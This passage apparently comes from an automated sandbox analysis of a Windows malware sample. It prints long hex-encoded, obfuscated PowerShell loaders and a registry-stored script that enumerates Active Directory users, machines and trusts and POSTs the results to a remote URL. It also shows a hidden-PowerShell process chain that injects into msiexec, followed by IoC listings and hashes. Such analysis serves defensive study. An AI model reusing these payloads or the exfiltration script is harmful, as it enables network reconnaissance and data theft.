24436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343731373433323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234363237413332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373645373436343643364332453634364336433237323932393239323933423234363237413332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343731373433323332333232433234363137413332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831383939352d3138393835295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b2828244d6178696d756d486973746f7279436f756e742d7368722831373534342d313735333529292b2831343332352d313433323329295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b2828244d6178696d756d486973746f7279436f756e742d7368722831373534342d313735333529292b31295d297d66756e6374696f6e2069663232327b706172616d282478793232322c24656b323232292028716132323220273234363237313332333233323344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343632373133323332333232453434363536363639364536353433364636453733373437323735363337343646373232383237353235343533373036353633363936313643344536313644363532433438363936343635343237393533363936373243353037353632364336393633323732433542353337393733373436353644324535323635363636433635363337343639364636453245343336313643364336393645363734333646364537363635364537343639364636453733354433413341353337343631364536343631373236343243323437383739333233323332323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363237313332333233323245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436353642333233323332324332343738373933323332333232393245353336353734343936443730364336353644363536453734363137343639364636453436364336313637373332383237353237353645373436393644363532433444363136453631363736353634323732393342323436323731333233323332324534333732363536313734363535343739373036353238323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831383735352d3138373435295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b2828244d6178696d756d486973746f7279436f756e742d7368722831303032312d313030313229292b2831353835362d313538353429295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b2828244d6178696d756d486973746f7279436f756e742d7368722831303032312d313030313229292b31295d297d66756e6374696f6e2072713232327b706172616d282465663232322c2472773232322c2468673232322c2479773232322920287467323232202732343739363333323332333233443542353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245344436313732373336383631364335443341334136373635373436343635364336353637363137343635363636463732363637353645363337343639364636453730364636393645373436353732323832383739364433323332333232303238324436413646363936453238323733353336333633393337333233373334333733353336333133363433333433313336343333363433333634363336333333343335333733383237324437333730364336393734323732383245324532393237374333463742323435463744374332353742354236333638363137323544354236333646364537363635373237343544334133413534364635353439364537343333333232383234354632433331333632393744323932393239324332383639364233323332333232303430323835423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544324335423639364537343544324335423639364537343544323932383542343936453734373037343732354432393239323932453639364537363646364236353238324433313243333032433234373237373332333233323243323033303738333333303330333032433234373937373332333233323239334235423532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341363736353734363436353643363536373631373436353636364637323636373536453633373436393646364537303646363936453734363537323238323837393644333233323332323032373532373436433444364637363635344436353644364637323739323732393243323836393642333233323332323034303238354234393645373435303734373235443243354236323739373436353542354435443243354235353439364537343333333235443239323835423439364537343730373437323544323932393239324536393645373636463642363532383234373936333332333233323243323436353636333233323332324332343732373733323332333232393743344637353734324434453735364336433342323437393633333233323332334434453635373732443446363236413635363337343230353337393733373436353644324534393645373437303734373232303244343137323637373536443635364537343443363937333734323032343238323437393633333233323332324535343646343936453734333633343238323932423234363836373332333233323239334235423532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453444363137323733363836313643354433413341363736353734363436353643363536373631373436353636364637323636373536453633373436393646364537303646363936453734363537323238323836383633333233323332323032383244364136463639364532383237333533323337333433363433333433333337333233363335333633313337333433363335333533353337333333363335333733323335333433363338333733323336333533363331333633343237324437333730364336393734323732383245324532393237374333463742323435463744374332353742354236333638363137323544354236333646364537363635373237343544334133413534364635353439364537343333333232383234354632433331333632393744323932393239324332383639364233323332333232303430323835423439364537343530373437323544324335423439364537343530373437323544324335423535343936453734333333323544324335423535343936453734333333323544324335423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544324335423439364537343530373437323544323932383542343936453734373037343732354432393239323932453639364537363646364236353238324433313243333032433330324333303243333032433330324332343739363333323332333232433330324333303243333032393342353337343631373237343244353336433635363537303230324437333230333233363335333027297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831303730392d3130363939295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b2828244d6178696d756d486973746f7279436f756e742d7368722831383637392d313836373029292b2831383233392d313832333729295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b2828244d6178696d756d486973746f7279436f756e742d7368722831383637392d313836373029292b31295d297d66756e6374696f6e2065673232327b706172616d2824627732323229202861713232322027323437333635333233323332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343642363633323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234373336353332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373336353332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343642363633323332333232433234363237373332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b244d6178696d756d486973746f7279436f756e742d7368722831353631322d3135363032295d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b2831353635392d313536353729295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b2828244d6178696d756d486973746f7279436f756e742d7368722831323035342d313230343529292b31295d297d66756e6374696f6e2075793232327b706172616d28246b733232322c2474623232322920287a663232322027323437353734333233323332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343731363333323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234373537343332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373645373436343643364332453634364336433237323932393239323933423234373537343332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343731363333323332333232433234364237333332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b24466f726d6174456e756d65726174696f6e4c696d69745d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b2831393339322d313933393029295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b31295d297d727132323220246566323232202465663232322e6c656e6774682032333931362036343b66756e6374696f6e2079723232327b706172616d282472663232322920286e773232322027323436393634333233323332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343635364533323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234363936343332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363936343332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343635364533323332333232433234373236363332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b24466f726d6174456e756d65726174696f6e4c696d69745d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b2831353339322d313533393029295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b31295d297d66756e6374696f6e20716c3232327b706172616d282474673232322c2475703232322c246d7832323229202870613232322027323437383632333233323332334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343638373333323332333233443445363537373244344636323641363536333734323035323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363632383238344536353737324434463632364136353633373432303439364537343530373437323239324332383234373836323332333233323245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453639364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373836323332333233323245343736353734344436353734363836463634323832383244364136463639364532383237333433373336333533373334333533303337333233363436333633333334333133363334333633343337333233363335333733333337333332373244373337303643363937343237323832453245323932373743334637423234354637443743323537423542363336383631373235443542363336463645373636353732373435443341334135343646353534393645373433333332323832343546324333313336323937443239323932433230354237323635363636433635363337343639364636453245363236393645363436393645363736363643363136373733354432303237353037353632364336393633324335333734363137343639363332373243323436453735364336433243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334134313645373932433430323832383445363537373244344636323641363536333734323035333739373337343635364432453532373536453734363936443635324534393645373436353732364637303533363537323736363936333635373332453438363136453634364336353532363536363239324534373635373435343739373036353238323932433542373337343732363936453637354432393243323436453735364336433239324536393645373636463642363532383234364537353643364332433430323835423533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636354432343638373333323332333232433234373436373332333233323239323927297c2e28244572726f72416374696f6e507265666572656e63652e546f537472696e6728295b24466f726d6174456e756d65726174696f6e4c696d69745d2b24505353657373696f6e436f6e66696775726174696f6e4e616d655b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b2831353637302d313536363829295d2b244f7574707574456e636f64696e672e456e636f64657246616c6c6261636b2e546f537472696e6728295b282824466f726d6174456e756d65726174696f6e4c696d69742d73686c31292b31295d297d Powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{01040E06-0702-1103-0C00-0905080F070E}\LocalServer Powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\CLSID\6402 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n#$file = 'C:\\Temp\\transcript.tmp'\r\n$file = Join-Path $env:temp \"pers132.tmp\";\r\n$fileASCII = Join-Path $env:temp \"pers132a.tmp\";\r\n\r\nStart-Transcript -Path $File -Verbose |out-null;\r\n\r\n# Function to help post HTTP request to web service\r\n#Function PostWebRequest([String] $url, [String] $data, [int] $timeout)\r\n#{ \r\n ##$url = 'XXX_TRANSCRIPTURL_XXX';\r\n#+ADD\r\n $url = \"%MARKER%/getdomstats\";\r\n\r\n#$data = @\"\r\n#test2342=test1\r\n#sec test\r\n#\"@\r\n\r\n##write-output \"Begin\"\r\n\r\n\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n##Write-Host $data;\r\n\r\n\r\n\r\n##write-output \"End\"\r\n#####\r\n\r\n\r\n\r\nStop-Transcript |out-null;\r\n\r\n\r\n\r\nif (Test-Path $file) {\r\n\r\nget-content $file | set-content $fileASCII -encoding ASCII\r\n\r\n#$data = Get-Content -Path $fileASCII\r\nif (Test-Path $fileASCII) {\r\n $fileSize = (Get-Item $fileASCII).length\r\n \r\n $timeout = 5000;\r\n \r\n #$buffer = [System.Text.Encoding]::UTF8.GetBytes($data)\r\n #$buffer = [byte[]][char[]]$data;\r\n \r\n \r\n [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url)\r\n $webRequest.Timeout = $timeout\r\n $webRequest.Method = \"POST\"\r\n $webRequest.ContentType = \"application/x-www-form-urlencoded\"\r\n $webRequest.ContentLength = $fileSize;\r\n $webRequest.ServicePoint.Expect100Continue = 0;\r\n\r\n\r\n $requestStream = $webRequest.GetRequestStream()\r\n \r\n\r\n $fileStream = [System.IO.File]::OpenRead($fileASCII)\r\n $buffer = New-Object byte[] $fileSize\r\n $bytesRead = $fileStream.Read($buffer,0,$fileSize)\r\n\r\n $requestStream.write($buffer, 0, $bytesRead)\r\n $requestStream.Flush()\r\n\r\n \r\n# $requestStream.Write($buffer, 0, $buffer.Length)\r\n# $requestStream.Flush()\r\n $requestStream.Close()\r\n\r\n\r\n [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()\r\n $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())\r\n $result = $streamReader.ReadToEnd()\r\n}\r\n ##return $result\r\n\r\n#+ADD\r\nforeach($x in @($file, $fileASCII)){if(Test-Path $x){Remove-Item $x}}\r\n\r\n}\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{0C030800-070E-0906-0B0D-0F110807030F}\CLSID Powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{0C030800-070E-0906-0B0D-0F110807030F}\CLSID\ = "{01040E06-0702-1103-0C00-0905080F070E}" Powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{12101308-050E-0B0A-1011-00110D0C0E02} Powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{01040E06-0702-1103-0C00-0905080F070E} Powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{12101308-050E-0B0A-1011-00110D0C0E02}\ = "{0C030800-070E-0906-0B0D-0F110807030F}" Powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{01040E06-0702-1103-0C00-0905080F070E}\ProgID\ = "{0C030800-070E-0906-0B0D-0F110807030F}" Powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000_Classes\ msiexec.exe -
Suspicious behavior: EnumeratesProcesses 16 IoCs
Processes:
Powershell.exepowershell.exemsiexec.exepowershell.exepid process 3552 Powershell.exe 3552 Powershell.exe 3552 Powershell.exe 3552 Powershell.exe 2036 powershell.exe 2036 powershell.exe 2036 powershell.exe 2036 powershell.exe 2036 powershell.exe 2036 powershell.exe 216 msiexec.exe 216 msiexec.exe 216 msiexec.exe 216 msiexec.exe 2768 powershell.exe 2768 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
Powershell.exepowershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3552 Powershell.exe Token: SeDebugPrivilege 2036 powershell.exe Token: SeDebugPrivilege 2768 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
Powershell.exepowershell.exemsiexec.exedescription pid process target process PID 3552 wrote to memory of 2036 3552 Powershell.exe powershell.exe PID 3552 wrote to memory of 2036 3552 Powershell.exe powershell.exe PID 2036 wrote to memory of 3308 2036 powershell.exe msiexec.exe PID 2036 wrote to memory of 3308 2036 powershell.exe msiexec.exe PID 2036 wrote to memory of 216 2036 powershell.exe msiexec.exe PID 2036 wrote to memory of 216 2036 powershell.exe msiexec.exe PID 216 wrote to memory of 2768 216 msiexec.exe powershell.exe PID 216 wrote to memory of 2768 216 msiexec.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\rezidende.vbs"1⤵
- Blocklisted process makes network request
PID:4088
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -file C:\ProgramData\fw435tv345t.ps11⤵
- Process spawned unexpected child process
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3552 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "& {(-join('24696A79646D78733D2730373045273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B6C6D3A5C736F6674776172655C636C61737365735C434C5349445C7B30313034304530362D303730322D313130332D304330302D3039303530383046303730457D5C50726F67494427292E24696A79646D787329297C2E28244572726F72416374696F6E507265666572656E63652E546F537472696E6728295B244D6178696D756D486973746F7279436F756E742D7368722831333834392D3133383339295D2B24505353657373696F6E436F6E66696775726174696F6E4E616D655B2828244D6178696D756D486973746F7279436F756E742D7368722831303039312D313030383229292B2831373035392D313730353729295D2B244F7574707574456E636F64696E672E456E636F64657246616C6C6261636B2E546F537472696E6728295B2828244D6178696D756D486973746F7279436F756E742D7368722831303039312D313030383229292B31295D29'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|.($ErrorActionPreference.ToString()[$FormatEnumerationLimit]+$PSSessionConfigurationName[(($FormatEnumerationLimit-shl1)+(19817-19815))]+$OutputEncoding.EncoderFallback.ToString()[(($MaximumHistoryCount-shr(16254-16245))+1)])}"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\system32\msiexec.exemsiexec.exe3⤵PID:3308
-
-
C:\Windows\system32\msiexec.exemsiexec.exe3⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:216 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='6402';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2768
-
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
209KB
MD51a372d294f7fc2aec07fe1f95d69993e
SHA1b55fa9e34688b2a9fed4aff0ab17f9338527ecf5
SHA25667be40bb6a22dd970a20998743e4c38ad17a0449c1868fa350515a48168ec407
SHA512465c86a92f6a6688154b59f4e3e0e2a7f68d6a7261039bc1620b47d8e411da3f1a2416e46630ad76458af5b57b24f2aea8813371b07071c11f306f5b2837acb3
-
Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
